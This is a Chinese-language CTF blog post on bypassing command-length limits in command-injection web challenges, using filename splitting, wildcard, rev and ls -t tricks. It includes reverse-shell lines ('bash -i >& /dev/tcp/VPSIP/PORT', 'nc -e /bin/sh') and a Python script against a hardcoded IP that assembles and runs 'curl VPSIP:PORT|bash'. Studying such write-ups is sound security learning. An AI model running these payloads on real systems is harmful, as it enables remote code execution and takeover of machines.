前言
最近打 CTF 的时候遇到了个 命令执行 的 web 题目,但是它限制了命令的长度。
于是查了一些资料,正好就来总结一下一些相关的小技巧吧,喵~
默认排序
ls
默认的排序是按照字母顺序来的,一个一个字符来看,|
=> 空格 => 数字 => 字母。
以 -
开头的文件名不看 -
,从之后的第一个字符开始比较。
一些 tricks
Linux 下可以用
\
来拼接命令,实现命令续行,生成文件的话文件名要双写\\
,比如>ls\\
。注意不要用
.
作为文件名的开头,因为 Linux 下.
会作为隐藏文件,直接用ls
列不出来。为了不按照默认顺序排序,可以用
ls -t
,按照时间顺序,后执行的排前面,于是可以拆分命令再拼接来实现。dir a b>c
只会将 a b 写到文件 c 中,而其他的文件则不会。用
*
可以得到当前目录下的所有目录及文件名,而且能用文件名执行命令。利用
rev
命令可以执行反序,先生成一个名为rev
的文件,再执行*v
,由于 Linux 的通配符,就相当于执行了rev v
,太妙了!还可以用
ls -th
,-h
不影响执行,但ht-
就能排到sl
前面去,搭配*v
使用更好了。
-h, –human-readable with -l and -s, print sizes like 1K 234M 2G etc.
- PHP 代码执行
exec
时,只需要输入\
即可生成\\
,比如exec(">ls\")
即可,还能省一个字符呢。 - 反弹 shell 时候用的 IP 可以换成十进制不带小数点的。(噢你有短域名啊,没事了)
- 可以依次执行
>env
,*>x
,相当于执行env>x
,就能在x
文件里得到环境变量里的内容。
参考 Payload
这个是反弹 shell 的思路。
最开始需要在 VPS 某个页面上放个反弹 shell 的脚本。
bash -i >& /dev/tcp/VPSIP/PORT 0>&1
# 或者 nc -e /bin/sh VPSIP PORT
然后起个服务监听这个端口。
nc -lvvp PORT
要被打的机器上,先生成 ls -th > g
,而后文件名拼接实现 curl VPSIP:PORT|bash
,然后执行 sh x
生成反弹的命令,最后 sh g
触发命令执行,在 VPS 上拿到 shell。
# coding: utf-8
import requests
from urllib.parse import quote
baseurl = "http://207.180.200.166:8000/?cmd="
reset = "http://207.180.200.166:8000/?reset"
s = requests.session()
s.get(reset)
# 文件 x 内容为 ls -th > g
list1 = [
">sl",
">ht-",
">g\>",
">dir",
"*>v",
">rev",
"*v>x"
]
# curl VPSIP:PORT|bash
list2 = [
">bash",
">\|\\",
">11\\",
">11\\",
">1:\\",
">11\\",
">1.\\",
">11\\",
">11.\\",
">11.\\",
">\ \\",
">rl\\",
">cu\\"
]
for i in list1:
url = baseurl + quote(str(i))
print("sending", quote(i))
r = s.get(url)
print('==>', r.text)
for j in list2:
url = baseurl + quote(str(j))
print("sending", quote(j))
r = s.get(url)
print('==>', r.text)
print('sh x')
r = s.get(baseurl+quote("sh x"))
r.encoding = 'utf-8'
print('==>', r.text)
print('sh g')
r = s.get(baseurl+quote("sh g"))
r.encoding = 'utf-8'
print('==>', r.text)
s.get(reset)
参考题目
0x41414141 CTF 2021 hackme:
CTF | 2021 0x41414141CTF 部分 WriteUp
HITCON 2017 BabyFirst Revenge:
HITCON 2017 CTF BabyFirst Revenge
这个用 tar
压缩得到根目录下文件,不过前提是当前目录的文件能下载,php 倒是可以。
Baby First Revenge v2 (GitHub)
里面还有一些奇奇怪怪的操作(
以及一些 汇总:
主要也是 HITCON 的题目(怎么这么喜欢出
References & Extensive Reading
(溜了喵